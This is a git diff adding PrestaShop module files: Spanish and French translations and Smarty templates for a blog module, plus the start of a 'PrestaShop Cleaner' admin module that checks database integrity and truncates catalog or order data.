+$_MODULE['<{psblog}prestashop>adminblogcomments_c9cc8cce247e49bae79f15173ce97354'] = 'Guardar'; +$_MODULE['<{psblog}prestashop>adminblogcomments_a16bf6c722e10df818ce2562262f1e23'] = 'Fecha :'; +$_MODULE['<{psblog}prestashop>adminblogcomments_cd5a4a8a32f2215976a8d528b81497fa'] = 'Artículo :'; +$_MODULE['<{psblog}prestashop>adminblogcomments_1e861e067ed86126e05672e048709c86'] = 'Cliente :'; +$_MODULE['<{psblog}prestashop>adminblogcomments_41a1fc8a540129e196c922670fd7e8c1'] = 'Tienda : '; +$_MODULE['<{psblog}prestashop>adminblogcomments_8bee137c7f0aa9fbe93e6924cee1fe3f'] = 'Idioma :'; +$_MODULE['<{psblog}prestashop>adminblogcomments_3edc11259762632a5c947111bc101233'] = 'Mensaje :'; +$_MODULE['<{psblog}prestashop>adminblogcomments_ce0430dafc79841f9abba23c56ddf6dd'] = 'Activar :'; +$_MODULE['<{psblog}prestashop>adminblogposts_d3b206d196cd6be3a2764c1fb90b200f'] = 'Eliminar '; +$_MODULE['<{psblog}prestashop>adminblogposts_48a688e2c614f9afa08c207d3556c2c8'] = 'Eliminar los elementos seleccionados?'; +$_MODULE['<{psblog}prestashop>adminblogposts_b718adec73e04ce3ec720dd11a06a308'] = 'ID'; +$_MODULE['<{psblog}prestashop>adminblogposts_ec53a8c4f07baed5d8825072c89799be'] = 'Estado'; +$_MODULE['<{psblog}prestashop>adminblogposts_b78a3223503896721cca1303f776159b'] = 'Título'; +$_MODULE['<{psblog}prestashop>adminblogposts_263ab2eac2168d940fe76675ef8b3081'] = 'Idioma'; +$_MODULE['<{psblog}prestashop>adminblogposts_8413c683b4b27cc3f4dbd4c90329d8ba'] = 'Comentarios'; +$_MODULE['<{psblog}prestashop>adminblogposts_735f7bed9808abe3b3c6bb67b9634a31'] = 'Fecha de publicación'; +$_MODULE['<{psblog}prestashop>adminblogposts_7dc185556694fbc135c35e7cb33ff2ea'] = 'Comentarios en espera de moderación'; +$_MODULE['<{psblog}prestashop>adminblogposts_11162316041a099669a0ebc4ff464089'] = 'Artículos publicados'; +$_MODULE['<{psblog}prestashop>adminblogposts_400fbfc3ac6188ac3caadd5881595563'] = 'Número de artículos'; +$_MODULE['<{psblog}prestashop>adminblogposts_b04f2c8a90cfc485fc990dc8dc4ba293'] = 'Configuración del módulo'; +$_MODULE['<{psblog}prestashop>adminblogposts_f15c1cae7882448b3fb0404682e17e61'] = 'Contenido'; +$_MODULE['<{psblog}prestashop>adminblogposts_608dd608cf6d57a7acd54303a0f8c575'] = 'Idioma :'; +$_MODULE['<{psblog}prestashop>adminblogposts_1a9693b440ee61940b01583cf287cee3'] = 'Título :'; +$_MODULE['<{psblog}prestashop>adminblogposts_c7bcdbba1c8efd06cc7fa38ccf4668b3'] = 'Extracto :'; +$_MODULE['<{psblog}prestashop>adminblogposts_0de4e2683f2ed7f457be77f7d99b4829'] = 'Resumen del artículo para las listas'; +$_MODULE['<{psblog}prestashop>adminblogposts_cf09c94e58ca1723017b4248909577d7'] = 'Contenido :'; +$_MODULE['<{psblog}prestashop>adminblogposts_3a0ef7f393fdd2f83c32f3a26a89f03a'] = 'Imágenes'; +$_MODULE['<{psblog}prestashop>adminblogposts_438a77306fa43b478f9b19e31dc3fbf6'] = 'Imágenes :'; +$_MODULE['<{psblog}prestashop>adminblogposts_be53a0541a6d36f6ecb879fa2c584b08'] = 'Imágen '; +$_MODULE['<{psblog}prestashop>adminblogposts_7a1920d61156abc05a60135aefe8bc67'] = 'Defecto '; +$_MODULE['<{psblog}prestashop>adminblogposts_52f5e0bc3859bc5f5e25130b6c7e8881'] = 'Posición'; +$_MODULE['<{psblog}prestashop>adminblogposts_f2a6c498fb90ee345d997f888fce3b18'] = 'Eliminar'; +$_MODULE['<{psblog}prestashop>adminblogposts_bec9f83a46175073cf668d0ab606fa17'] = 'Seguro que quieres eliminar esta foto ?'; +$_MODULE['<{psblog}prestashop>adminblogposts_af1b98adf7f686b84cd0b443e022b7a0'] = 'Categorías'; +$_MODULE['<{psblog}prestashop>adminblogposts_bb34a159a88035cce7ef1607e7907f8f'] = 'Nombre de la categoría'; +$_MODULE['<{psblog}prestashop>adminblogposts_21c1a8d9a81377d73c37b5dfed1effec'] = 'Marque todas las casillas de las categorías del artículo'; +$_MODULE['<{psblog}prestashop>adminblogposts_f33eb15d25d957f8c1a08aa71fcbe6ae'] = 'Ninguna categoría creada'; +$_MODULE['<{psblog}prestashop>adminblogposts_38070661d5ad384d9c7d21895dc4e784'] = 'Productos relacionados'; +$_MODULE['<{psblog}prestashop>adminblogposts_3b263477a8ad622d76979befafd0119d'] = 'Empiece a escribir las primeras letras del nombre del producto, a continuación, seleccione el producto de la lista desplegable :'; +$_MODULE['<{psblog}prestashop>adminblogposts_4b6c6cda10a23d1bdc920f2e47e5f46f'] = 'Añadir un producto'; +$_MODULE['<{psblog}prestashop>adminblogposts_394efb42d8bf427587bc4333d7f461f1'] = 'Artículos relacionados'; +$_MODULE['<{psblog}prestashop>adminblogposts_ea1ac4fbdf9bd5cf3d6dda76b6e4d8df'] = 'No hay artículos'; +$_MODULE['<{psblog}prestashop>adminblogposts_2ef9671539ece086eb5c74c851a08565'] = 'Sólo letras y el signo menos (-) de caracteres están permitidos'; +$_MODULE['<{psblog}prestashop>adminblogposts_d10d924ada404af22674202df72584aa'] = ' Motores de búsqueda Meta descripción'; +$_MODULE['<{psblog}prestashop>adminblogposts_d08361ed0c11d4f4347a31a00eb73c5e'] = 'Separadas por ,'; +$_MODULE['<{psblog}prestashop>adminblogposts_e4dcf06ed98cc2aaa775aa6c2864dd82'] = 'Publicación opciones'; +$_MODULE['<{psblog}prestashop>adminblogposts_9b9d8a976b42e0bd66381797644943d5'] = 'Publicado'; +$_MODULE['<{psblog}prestashop>adminblogposts_22b9ffc76a3eb7044de3b42fc92c9793'] = 'Redactando'; +$_MODULE['<{psblog}prestashop>adminblogposts_8bf906833cc7aea8084f552217ed9c1d'] = 'Suspendido'; +$_MODULE['<{psblog}prestashop>adminblogposts_46305df6212a3c2cb0bed9985c49bd6c'] = 'Estado :'; +$_MODULE['<{psblog}prestashop>adminblogposts_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activado'; +$_MODULE['<{psblog}prestashop>adminblogposts_b9f5c797ebbf55adccdd8539a65a0241'] = 'Desactivado'; +$_MODULE['<{psblog}prestashop>adminblogposts_06eb0cec5f1982e584fb6a19cf2df877'] = 'Permitir comentarios :'; +$_MODULE['<{psblog}prestashop>adminblogposts_7b1d4465189f9f23ca7b50cae17e5e57'] = 'Fecha de publicación :'; +$_MODULE['<{psblog}prestashop>adminblogposts_19f823c6453c2b1ffd09cb715214813d'] = 'Campos obligatorios'; +$_MODULE['<{psblog}prestashop>adminblogposts_c9cc8cce247e49bae79f15173ce97354'] = 'Guardar'; +$_MODULE['<{psblog}prestashop>adminblogposts_9ea67be453eaccf020697b4654fc021a'] = 'Guardar y permanecer'; +$_MODULE['<{psblog}prestashop>adminblogposts_be8df1f28c0abc85a0ed0c6860e5d832'] = 'Blog'; +$_MODULE['<{psblog}prestashop>adminblogposts_7dce122004969d56ae2e0245cb754d35'] = 'Editar'; +$_MODULE['<{psblog}prestashop>adminblogposts_ef61fb324d729c341ea8ab9901e23566'] = 'Añadir'; +$_MODULE['<{psblog}prestashop>adminblogposts_fff0d600f8a0b5e19e88bfb821dd1157'] = 'Imágenes'; +$_MODULE['<{psblog}prestashop>adminblogposts_12a521af593422cd508f7707662c9eb2'] = 'Tiendas'; +$_MODULE['<{psblog}prestashop>adminblogstats_7dc185556694fbc135c35e7cb33ff2ea'] = 'Comentarios en espera de moderación'; +$_MODULE['<{psblog}prestashop>adminblogstats_83a3804a122f96fd8bcd716a566de9d2'] = 'Comentarios publicados'; +$_MODULE['<{psblog}prestashop>adminblogstats_778805c320e4e4fd0ac37daa2ae9f941'] = 'Comentarios rechazadas'; +$_MODULE['<{psblog}prestashop>adminblogstats_0f2898ac15073825a5c5d88723264685'] = 'Número de comentarios'; +$_MODULE['<{psblog}prestashop>adminblogstats_9f18ee985a83967e88020e0cd4c54264'] = 'Comentarios del blog'; +$_MODULE['<{psblog}prestashop>adminblogstats_400fbfc3ac6188ac3caadd5881595563'] = 'Número de artículos'; +$_MODULE['<{psblog}prestashop>adminblogstats_11162316041a099669a0ebc4ff464089'] = 'Artículos publicados'; +$_MODULE['<{psblog}prestashop>adminblogstats_0422ae5ca6429121fc69c4eb1c643b32'] = 'Artículos popular'; +$_MODULE['<{psblog}prestashop>adminblogstats_d7e637a6e9ff116de2fa89551240a94d'] = 'Visitas'; +$_MODULE['<{psblog}prestashop>adminblogstats_10965b2740f42ad4887932c35cee26ab'] = 'Visitantes distintos'; +$_MODULE['<{psblog}prestashop>adminblogstats_490aa6e856ccf208a054389e47ce0d06'] = 'Id'; +$_MODULE['<{psblog}prestashop>adminblogstats_b2ee912b91d69b435159c7c3f6df7f5f'] = 'Número'; +$_MODULE['<{psblog}prestashop>adminblogstats_49ee3087348e8d44e1feda1917443987'] = 'Nombre'; +$_MODULE['<{psblog}prestashop>adminblogstats_b78a3223503896721cca1303f776159b'] = 'Título'; +$_MODULE['<{psblog}prestashop>adminblogstats_9fa2e5dbe284adf386e6824e6c0b22dc'] = 'Artículos más comentados'; +$_MODULE['<{psblog}prestashop>adminblogstats_3e480dfc32f25db062e28fa513003957'] = 'Categorías populares'; +$_MODULE['<{psblog}prestashop>adminblogstats_1c60d824edb285957460f14afa9844d7'] = 'Número de categorías '; +$_MODULE['<{psblog}prestashop>adminblogstats_f03d8bee350c9b567d5e7abc3d8d1c90'] = 'Categorías publicadas'; +$_MODULE['<{psblog}prestashop>adminblogstats_3cfd94e5b1e020a2b88c15f49d57886e'] = 'Blog categorías'; +$_MODULE['<{psblog}prestashop>adminblogstats_306bd97775f7be5ceb6a545866e26365'] = 'Página de configuración del blog'; +$_MODULE['<{psblog}prestashop>adminblogstats_8f468f5ac98687ecd826721e83a6b41e'] = 'Informacións'; +$_MODULE['<{psblog}prestashop>adminblogstats_47edbb9e6d6e6e874eb40c274a0e2e0f'] = 'Artículos del blog'; +$_MODULE['<{psblog}prestashop>adminblogstats_42a7b2626eae970122e01f65af2f5092'] = 'Sin datos'; diff --git a/modules/psblog/translations/fr.php b/modules/psblog/translations/fr.php new file mode 100755 index 0000000..3dfe3f6 --- /dev/null +++ b/modules/psblog/translations/fr.php @@ -0,0 +1,5 @@ +psblog_43340e6cc4e88197d57f8d6d5ea50a46'] = 'Lire la suite'; diff --git a/modules/psblog/views/templates/admin/_configure/form_blog_post.tpl b/modules/psblog/views/templates/admin/_configure/form_blog_post.tpl new file mode 100755 index 0000000..d3cacf5 --- /dev/null +++ b/modules/psblog/views/templates/admin/_configure/form_blog_post.tpl @@ -0,0 +1,56 @@ +{if $show_toolbar} + {include file="toolbar.tpl" toolbar_btn=$toolbar_btn toolbar_scroll=$toolbar_scroll title=$title} +
        {block name="leadin"}{/block}
        +{/if} + +{$form_content} + + + + \ No newline at end of file diff --git a/modules/psblog/views/templates/admin/blog_categories/helpers/form/form.tpl b/modules/psblog/views/templates/admin/blog_categories/helpers/form/form.tpl new file mode 100755 index 0000000..9a5ab5b --- /dev/null +++ b/modules/psblog/views/templates/admin/blog_categories/helpers/form/form.tpl @@ -0,0 +1,21 @@ +{extends file="helpers/form/form.tpl"} + +{block name="field"} + {if $input.type == 'blog_checkbox'} +
        + {foreach $input.values.query as $value} + {assign var=id value=$value.{$input.values.id}} + +
        + {/foreach} +
        + {else} + {$smarty.block.parent} + {/if} + +{/block} \ No newline at end of file diff --git a/modules/psblog/views/templates/admin/blog_comments/helpers/form/form.tpl b/modules/psblog/views/templates/admin/blog_comments/helpers/form/form.tpl new file mode 100755 index 0000000..f6cec8f --- /dev/null +++ b/modules/psblog/views/templates/admin/blog_comments/helpers/form/form.tpl @@ -0,0 +1,18 @@ +{extends file="helpers/form/form.tpl"} + +{block name="label"} + {if $input.type == 'text_label' && !isset($customer)} + {if isset($input.label)}{/if} + {else} + {$smarty.block.parent} + {/if} +{/block} + +{block name="field"} + {if $input.type == 'text_label'} +
        {$fields_value[$input.name]}
        + {else} + {$smarty.block.parent} + {/if} + +{/block} \ No newline at end of file diff --git a/modules/psblog/views/templates/admin/blog_posts/helpers/list/list_header.tpl b/modules/psblog/views/templates/admin/blog_posts/helpers/list/list_header.tpl new file mode 100755 index 0000000..8135076 --- /dev/null +++ b/modules/psblog/views/templates/admin/blog_posts/helpers/list/list_header.tpl @@ -0,0 +1,30 @@ + +{extends file="helpers/list/list_header.tpl"} + +{block name="override_header"} + + + + + + {if $comments_active} + + + + {/if} + + + + + + + + + + + +
        {$l.comments_waiting}{$nb_comments}   {$l.number_of_articles}{$post_nb}   {$l.published_articles}{$post_nb_active}   {$l.configuration}
        + +
        + +{/block} \ No newline at end of file diff --git a/modules/psblog/views/templates/admin/blog_stats/helpers/view/view.tpl b/modules/psblog/views/templates/admin/blog_stats/helpers/view/view.tpl new file mode 100755 index 0000000..36c0e6e --- /dev/null +++ b/modules/psblog/views/templates/admin/blog_stats/helpers/view/view.tpl @@ -0,0 +1,178 @@ +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + + +
        + {$l.blog_informations} +

        {l s='URL blog main page'} : {$blog_url}

        + +

        {$l.blog_configuration_page}

        + +
        + +
        + +
        + {$l.blog_posts} +

        {$l.number_of_articles} : {$post.nb}

        + +

        {$l.published_articles} : {$post.nb_active}

        + +

        {$l.popular_posts}

        + +
        +

        {$l.visits}

        + + {if $post.popular|@count > 0} + + + + + + + + {foreach $post.popular item=article name=postPopular} + + + + + + {/foreach} + +
        {$l.id}{$l.visits}{$l.name}
        {$article.id_blog_post}{$article.nb_visit}{$article.title}
        + {else} + {$l.no_data} + {/if} + +
        + +
        + +

        {$l.visits_unique}

        + + {if $post.popular_unique|@count > 0} + + + + + + + + {foreach $post.popular_unique item=article name=postPopularUnique} + + + + + + {/foreach} + +
        {$l.id}{$l.visits}{$l.name}
        {$article.id_blog_post}{$article.nb_visit}{$article.title}
        + {else} + {$l.no_data} + {/if} + +
        + +
        + +

        {$l.more_commented}

        + + {if $post.commented|@count > 0} + + + + + + + + {foreach $post.commented item=article name=postCommented} + + + + + + {/foreach} + +
        {$l.id}{$l.number}{$l.title}
        {$article.id_blog_post}{$article.nb_comments}{$article.title}
        + {else} + {$l.no_data} + {/if} +
        +
        + +
        + {$l.blog_categories} +

        {$l.number_categories} : {$category.nb}

        +

        {$l.published_categories} : {$category.nb_active}

        + +

        {$l.popular_categories}

        + +
        + +

        {$l.visits}

        + + {if $category.popular|@count > 0} + + + + + + + + {foreach $category.popular item=cat name=catPopular} + + + + + + {/foreach} + +
        {$l.id}{$l.visits}{$l.name}
        {$cat.id_blog_category}{$cat.nb_visit}{$cat.name}
        + {else} + {$l.no_data} + {/if} + +
        + +
        + +

        {$l.visits_unique}

        + + {if $category.popular_unique|@count > 0} + + + + + + + + {foreach $category.popular_unique item=cat name=catPopularUnique} + + + + + + {/foreach} + +
        {$l.id}{$l.visits}{$l.name}
        {$cat.id_blog_category}{$cat.nb_visit}{$cat.name}
        + {else} + {$l.no_data} + {/if} + +
        + +
        + +
        + +
        + +
        + {$l.blog_comments} +

        {$l.number_comments} : {$comment.comment_nb}

        +

        {$l.published_comments} : {$comment.comment_nb_active}

        +

        {$l.refused_comments} : {$comment.comment_nb_inactive}

        +

        {$l.comments_waiting} : {$comment.comment_nb_wait}

        +
        +{/block} \ No newline at end of file diff --git a/modules/psblog/views/templates/front/list.tpl b/modules/psblog/views/templates/front/list.tpl new file mode 100755 index 0000000..eef6251 --- /dev/null +++ b/modules/psblog/views/templates/front/list.tpl @@ -0,0 +1,131 @@ +
        +
        +

        + + {l s='My scrawl' mod='psblog'} + +

        +
        +
        + +
        +{if isset($notfound) && $notfound == true} +

        {l s='The page was not found' mod='psblog'}

        +{else} + +{**} +
        + + + {if isset($post_category) && $post_category->id != 1} + +
        + + {*

        + [ + {l s='Posts in category' mod='psblog'} "{$post_category->name}" + ] +

        *} + + {if $blog_conf.rss_active} +

        RSS

        + {/if} + +
        + +
        {$post_category->description}
        + + {if isset($subcategories) && $subcategories|@count > 0} +

        + {l s='Subcategories :' mod='psblog'}   + {foreach from=$subcategories item=subcat name=subcatlist} + {$subcat.name}{if !$smarty.foreach.subcatlist.last}, {/if} + {/foreach} +

        + {/if} + +
        + + {else} + {*

        [{l s='Posts' mod='psblog'} ]

        *} + + {if $blog_conf.rss_active} +

        RSS

        + {/if} + +
        + {/if} + +
        + + {if isset($search_query)} + {if isset($post_list) && $post_list|@count > 0} +

        {l s='Results for' mod='psblog'} "{$search_query}"

        + {/if} + {/if} + +
        + + {if isset($post_list) && $post_list && $post_list|@count > 0} +
          + {foreach from=$post_list item=post name=publications} +
        • + +
          + {if $post.default_img} + {$post.title} + {/if} +

          + {$post.title} + {if $blog_conf.list_display_date}{$post.date_on|escape:'html':'UTF-8'|date_format:"%d"}{$post.date_on|escape:'html':'UTF-8'|date_format:"%m.%Y"}{/if} +

          +
          +
          +
          {$post.excerpt}
          +

          + {*if $blog_conf.category_active && isset($post.categories) && $post.categories|@count > 0} + {l s='Posted on' mod='psblog'} + {foreach from=$post.categories item=post_category name=post_category_list} + {$post_category.name} + {/foreach} + + + {/if*} + {*if $blog_conf.comment_active && $post.allow_comments && $post.nb_comments > 0} +  |  - {$post.nb_comments} {if $post.nb_comments > 1}{l s='comments' mod='psblog'}{else}{l s='comment' mod='psblog'}{/if} + {/if*} +

          +
          +
          + {l s='Read more' mod='psblog'} + +
          +
          +
        • + {/foreach} +
        + + {if isset($paginationLink)} + {if isset($back) && $back}{l s='Previous articles' mod='psblog'} »   {/if} + {if isset($next) && $next}« {l s='Newest Articles' mod='psblog'}{/if} + {/if} + +
        + + {else} + {if isset($search_query)} +

        {l s='No results for' mod='psblog'} "{$search_query}"

        + {elseif isset($post_category)} +

        {l s='There is no posts in this category' mod='psblog'}

        + {else} +

        {l s='There is no posts' mod='psblog'}

        + {/if} + {/if} + +
        +
        +{/if} +
        \ No newline at end of file diff --git a/modules/psblog/views/templates/front/product-tabcontent.tpl b/modules/psblog/views/templates/front/product-tabcontent.tpl new file mode 100755 index 0000000..1058493 --- /dev/null +++ b/modules/psblog/views/templates/front/product-tabcontent.tpl @@ -0,0 +1,8 @@ +

        Article relié a ce produits

        +{if $post_product_list && $post_product_list|@count > 0} + +{/if} diff --git a/modules/psblog/views/templates/front/product-tabtitle.tpl b/modules/psblog/views/templates/front/product-tabtitle.tpl new file mode 100755 index 0000000..0e0052f --- /dev/null +++ b/modules/psblog/views/templates/front/product-tabtitle.tpl @@ -0,0 +1 @@ +
      • {l s='Blog' mod='psblog'}
      • \ No newline at end of file diff --git a/modules/psblog/views/templates/front/view.tpl b/modules/psblog/views/templates/front/view.tpl new file mode 100755 index 0000000..48276de --- /dev/null +++ b/modules/psblog/views/templates/front/view.tpl @@ -0,0 +1,183 @@ +
        +
        +

        + + {l s='Alchemist books' mod='psblog'} + +

        +
        +
        + +{**} + +{if $post->status == 'published'} +
        + +
        + {if $post->default_img} + {$post->title} + {/if} +

        + {$post->title} + {if $blog_conf.view_display_date} + {$post->date_on|escape:'html':'UTF-8'|date_format:"%d"}
        {$post->date_on|escape:'html':'UTF-8'|date_format:"%m.%Y"}
        + {/if} +

        +
        +
        + +
        +
        + {$post->content} +
        +
        +
        + + + + + {*if $blog_conf.related_active && $post_related|@count > 0} + + {/if*} + + {if $blog_conf.product_active} + {if $post_products|@count > 0} +
        +

        {l s='Related products' mod='psblog'}

        + + +
        +
        + {/if} + {/if} + + {if $blog_conf.comment_active && $post->allow_comments} + +
        +

        {l s='Comments' mod='psblog'}

        +
        + {if isset($psblog_confirmation)} +

        + {if !$blog_conf.comment_moderate} + {l s='Comment posted successfully' mod='psblog'} + {else} + {l s='Comment posted, awaiting moderator validation' mod='psblog'} + {/if} +

        + {/if} + {if isset($psblog_error) && $psblog_error == 'error_input'} +

        {l s='Your comment has not been sent, name' mod='psblog'} ({$blog_conf.comment_name_min_length} {l s='chars min' mod='psblog'}) {l s='and comment are required.' mod='psblog'}

        + {/if} + {if isset($psblog_error) && $psblog_error == 'error_already'} +

        {l s='This message have been already sent' mod='psblog'}

        + {/if} + {if isset($psblog_error) && $psblog_error == 'error_input_invalid'} +

        {l s='HTML tags are not allowed' mod='psblog'}

        + {/if} + {if isset($psblog_error) && $psblog_error == 'error_delay'} +

        {$blog_conf.comment_min_time} {l s='seconds required between every comment' mod='psblog'}

        + {/if} +
        + {if isset($post_comments) && $post_comments|@count > 0} + {foreach from=$post_comments item=com name=comments_list} +
        +
        + {$com.customer_name|escape:'html':'UTF-8'} {l s='says' mod='psblog'} : + {l s='The' mod='psblog'} {$com.date_add|escape:'html':'UTF-8'|date_format:"%d/%m/%Y"} +
        +
        +
        + {*

        {l s='Comment' mod='psblog'} :

        *} +

        {$com.content|nl2br}

        +
        +
        + {/foreach} + {else} + {l s='No customer comments for the moment.' mod='psblog'} + {/if} +
        + + {if !isset($psblog_confirmation)} + {if $logged == false && !$blog_conf.comment_guest} +

        {l s='Only registered users can post a new comment.' mod='psblog'}

        + {else} +
        +

        {l s='Add a comment' mod='psblog'}

        +

        + +

        + +

        + +

        +

        +
        + {/if} + {/if} +
        +
        + {/if} +
        +
        +{else} +

        {l s='This post is not available' mod='psblog'}

        +{/if} \ No newline at end of file diff --git a/modules/psblog/views/templates/hook/blockarchives.tpl b/modules/psblog/views/templates/hook/blockarchives.tpl new file mode 100755 index 0000000..08094ff --- /dev/null +++ b/modules/psblog/views/templates/hook/blockarchives.tpl @@ -0,0 +1,29 @@ + +{if $blog_archives && $blog_archives|@count > 0} + +
        +{*

        +{if $blog_conf.rss_active}RSS{/if} +  {l s='Blog archives' mod='psblog'} +

        *} +
        +
          + {foreach from=$blog_archives key=y item=val name=blog_archive_years} + + + {if isset($val.months) && $val.months|is_array && $val.months|@count > 0} + + {foreach from=$val.months key=m item=month name=blog_archive_months} +
        • {$month.name} ({$month.nb})
        • + {/foreach} + + {else} +
        • {$y} ({$val.nb}) + {/if} + + {/foreach} +
        +
        + +
        +{/if} \ No newline at end of file diff --git a/modules/psblog/views/templates/hook/blockcategories.tpl b/modules/psblog/views/templates/hook/blockcategories.tpl new file mode 100755 index 0000000..02f1f6a --- /dev/null +++ b/modules/psblog/views/templates/hook/blockcategories.tpl @@ -0,0 +1,29 @@ + +{if $post_categories && $post_categories|@count > 0} + +
        + {*

        {l s='Blog categories' mod='psblog'}

        *} + +
          + {foreach from=$post_categories item=post_category name=post_category_list} +
        • + {$post_category.name} + {if $blog_conf.block_display_subcategories || (isset($blog_category) && $blog_category == $post_category.id_blog_category)} + + {if isset($post_category.subcategories) && $post_category.subcategories|@count > 0} +
            + {foreach from=$post_category.subcategories item=sub_category name=sub_category_list} +
          • {$sub_category.name}
          • + {/foreach} +
          + {/if} + + {/if} +
        • + {/foreach} + +
        + +
        + +{/if} diff --git a/modules/psblog/views/templates/hook/blockposts.tpl b/modules/psblog/views/templates/hook/blockposts.tpl new file mode 100755 index 0000000..acf4df2 --- /dev/null +++ b/modules/psblog/views/templates/hook/blockposts.tpl @@ -0,0 +1,33 @@ + +{if $posts_list && $posts_list|@count > 0} +
        + {*

        + {if $posts_conf.rss_active}RSS{/if} +   {$posts_title} +

        *} +
        +
          + {foreach from=$posts_list item=post name=posts_list} +
        • + {if $post.default_img && $posts_conf.block_display_img} +
          + +
          + {/if} +
          +
          {$post.title}
          + {if $posts_conf.block_display_date && $post.date_on != "" && $post.date_on != "0000-00-00"} + + {$post.date_on|escape:'html':'UTF-8'|date_format:"%d/%m/%Y"} + + {/if} +
          +
          +
        • + {/foreach} +
        +

        {l s='View all posts' mod='psblog'}

        +
        +
        +{/if} + \ No newline at end of file diff --git a/modules/psblog/views/templates/hook/blockposts_footer.tpl b/modules/psblog/views/templates/hook/blockposts_footer.tpl new file mode 100755 index 0000000..d4101a6 --- /dev/null +++ b/modules/psblog/views/templates/hook/blockposts_footer.tpl @@ -0,0 +1,39 @@ + + +{if $posts_list && $posts_list|@count > 0} +
        +

        + + {if $posts_conf.rss_active}RSS{/if} + +   {$posts_title}

        + +
        + +
          + {foreach from=$posts_list item=post name=posts_list} + +
        • + + +
          {$post.title}
          + {if $posts_conf.block_display_date && $post.date_on != "" && $post.date_on != "0000-00-00"} + {dateFormat date=$post.date_on|escape:'html':'UTF-8' full=0} + {/if} + + +
          + +
        • + {/foreach} +
        +
        +
        +{/if} + \ No newline at end of file diff --git a/modules/psblog/views/templates/hook/blockpostshome.tpl b/modules/psblog/views/templates/hook/blockpostshome.tpl new file mode 100755 index 0000000..42bf0cb --- /dev/null +++ b/modules/psblog/views/templates/hook/blockpostshome.tpl @@ -0,0 +1,32 @@ + +{if $posts_list && $posts_list|@count > 0} +
        +
        +

        {$posts_title} {l s='All posts' mod='psblog'}   {if $posts_conf.rss_active}RSS{/if}

        + +
        +
          + {foreach from=$posts_list item=post name=posts_list} +
        • + + {if $post.default_img} +
          + + {$post.title} + +
          + {/if} + +
          +

          {$post.title}

          + {if $posts_conf.block_display_date}{dateFormat date=$post.date_on|escape:'html':'UTF-8' full=0}{/if} +
          {$post.excerpt|strip_tags:'UTF-8'|truncate:152:'...'}
          +
          +
          +
        • + {/foreach} +
        +
        +
        +{/if} + \ No newline at end of file diff --git a/modules/psblog/views/templates/hook/blocksearch.tpl b/modules/psblog/views/templates/hook/blocksearch.tpl new file mode 100755 index 0000000..57eb1b9 --- /dev/null +++ b/modules/psblog/views/templates/hook/blocksearch.tpl @@ -0,0 +1,36 @@ + +
        + {* Search removed asked by customer *} + {*

        {l s='Search in Blog' mod='psblog'}

        + {*
        + + {if !$rewrite} + + + + {/if} + +
        + + {if isset($search_query_nb) && $search_query_nb > 0} +

        + {$search_query_nb} {l s='Result for the term' mod='psblog'} "{$search_query}" +

        + {/if} + +

        + + +

        + +
        +
        *} + {* Add a link to form *} +

        + {l s='Tell us everything!' mod='psblog'} + + {l s='Contact us' mod='psblog'} + + +

        +
        \ No newline at end of file diff --git a/modules/psblog/views/templates/hook/product-tabcontent.tpl b/modules/psblog/views/templates/hook/product-tabcontent.tpl new file mode 100755 index 0000000..8842b20 --- /dev/null +++ b/modules/psblog/views/templates/hook/product-tabcontent.tpl @@ -0,0 +1,10 @@ +{if $post_product_list && $post_product_list|@count > 0} +
        +

        {l s='Articles link to this product' mod='psblog'}

        + +
        +{/if} \ No newline at end of file diff --git a/modules/psblog/views/templates/hook/product-tabtitle.tpl b/modules/psblog/views/templates/hook/product-tabtitle.tpl new file mode 100755 index 0000000..0e0052f --- /dev/null +++ b/modules/psblog/views/templates/hook/product-tabtitle.tpl @@ -0,0 +1 @@ +
      • {l s='Blog' mod='psblog'}
      • \ No newline at end of file diff --git a/modules/pscleaner/index.php b/modules/pscleaner/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/pscleaner/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/pscleaner/logo.png b/modules/pscleaner/logo.png new file mode 100755 index 0000000..6b43d7e Binary files /dev/null and b/modules/pscleaner/logo.png differ diff --git a/modules/pscleaner/pscleaner.php b/modules/pscleaner/pscleaner.php new file mode 100755 index 0000000..d091230 --- /dev/null +++ b/modules/pscleaner/pscleaner.php @@ -0,0 +1,523 @@ + + * @copyright 2007-2013 PrestaShop SA + * @version Release: $Revision: 7060 $ + * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) + * International Registered Trademark & Property of PrestaShop SA + */ + +if (!defined('_CAN_LOAD_FILES_')) + exit; + +class PSCleaner extends Module +{ + public function __construct() + { + $this->name = 'pscleaner'; + $this->tab = 'administration'; + $this->version = '0.9'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('PrestaShop Cleaner'); + $this->description = $this->l('Check and fix functional integrity constraints and remove default data'); + $this->secure_key = Tools::encrypt($this->name); + } + + public function getContent() + { + $html = '

        '.$this->l('Be really careful with this tool - There is no possible rollback!').'

        '; + if (Tools::isSubmit('submitCheckAndFix')) + $html .= (count($logs = self::checkAndFix()) ? print_r($logs, true) : $this->l('Nothing that need to be cleaned')).'

        '; + if (Tools::isSubmit('submitTruncateCatalog')) + { + self::truncate('catalog'); + $html .= '
        '.$this->l('Catalog truncated').'
        '; + } + if (Tools::isSubmit('submitTruncateSales')) + { + self::truncate('sales'); + $html .= '
        '.$this->l('Orders and customers truncated').'
        '; + } + + $html .= ' + +
        +
        '.$this->l('Catalog').' +

        + +

        + +
        +
        +

        +
        +
        '.$this->l('Orders and customers').' +

        + +

        + +
        +
        +

        +
        +
        '.$this->l('Functional integrity constraints').' + +
        +
